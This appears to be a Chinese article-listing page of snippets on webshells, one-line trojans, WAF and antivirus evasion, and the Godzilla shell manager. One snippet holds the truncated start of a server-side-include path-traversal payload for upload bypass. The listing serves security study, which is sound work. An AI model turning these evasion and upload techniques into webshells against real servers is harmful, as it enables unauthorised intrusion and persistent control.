webshell与webshell管理工具 webshell变形免杀技术 webshell查杀工具 一.webshell与webshell管理工具 回到顶部 二.webshell变形免杀技术 还有很多 ...
- 一句话技巧(to be continue)
当被限制上传类型时 可以尝试shtm还有stm和shtml后缀(由ssinc.dll来解析) 内容为<!--#include file="../../../../../../../.. ...
- webshell之一句话木马变形
什么是一句话木马 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能.为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令. 我们如 ...
- 2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限
2017-2018-2 『网络对抗技术』Final:Web渗透获取WebShell权限 --------CONTENTS-------- 一.Webshell原理 1.什么是WebShell 2.We ...
- Webshell免杀绕过waf
转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...
- 各种拿webshell
当你的才华 还撑不起你的野心时 那你就应该静下心来学习 目录 拿WebShell 方法 拿WebShell 的两种类型 管理权限拿WebShell 常见的方法归纳为14种: 普通权限拿WebShell ...
- 哥斯拉Godzilla Shell管理工具使用,马分析,特征分析(4K屏不好用,Webshell)
目录 马分析 正文 总结一下木马的利用逻辑: 总结木马特征: 简单使用方法 一些特性 流量加密 插件模块 数据库管理 内存shell 屏幕截图 虚拟终端 JMeterpreter ServletMa ...
最新文章
- element ui走马灯怎么添加_Lovestu - Element UI 走马灯高度自适应
- 编程问题难解决,学会提问是关键!
- .net Compact Framework 程序设计起步(智能设备的程序设计)
- 《复联4》首轮公映票房27.5亿美金 超《阿凡达》创纪录
- 今夕何夕影迷小伙伴,喜欢的壁纸都在高图网
- 这是一本零基础学习 Python 的好书
- Python Flask Web 第六课 —— 静态文件
- Centos 7忘记密码,如何重置
- CSS Lint-线上CSS检测工具 让你的样式表更正确精简
- java重载静态方法_java – 使用静态和非静态方法重载的方法
- golang protobuf 动态消息获取_干货|Golang拦截器的一种实现
- 电路设计中的防爆设计原理与注意事项分析
- python调用百度查询关键字_Python模拟搜索百度关键字
- Windows Server 2019系统Windows defender误删文件的解决办法
- Docker 目录/var/lib/docker/containers文件过大
- 2022.11.28 英语背诵
- AutoLayout -Masonry
- 华为ENSP模拟器简易路由交换机分段划分Vlan
- Landsat8遥感影像批量分割(Arcmap实现)
- html 下拉菜单不能下拉_音乐下拉菜单
热门文章
- maven提示:Failed to execute goal on project ...: Could not resolve dependencies for project ...
- HBuilderX的介绍与语法提示
- 程序人生--2003年(20)
- 数据库的基本操作(一)
- 继承/理解 super和this关键字
- Ebox系列Corecon不同版本不宜安装在一起
- Promise中finally的用法
- 【蓝桥杯】2015初赛 三羊献瑞
- java实现hj协议_HJ212协议java 实现 封装好的环保212协议代码 - 下载 - 搜珍网
- 谷粒商城-03-p28-p44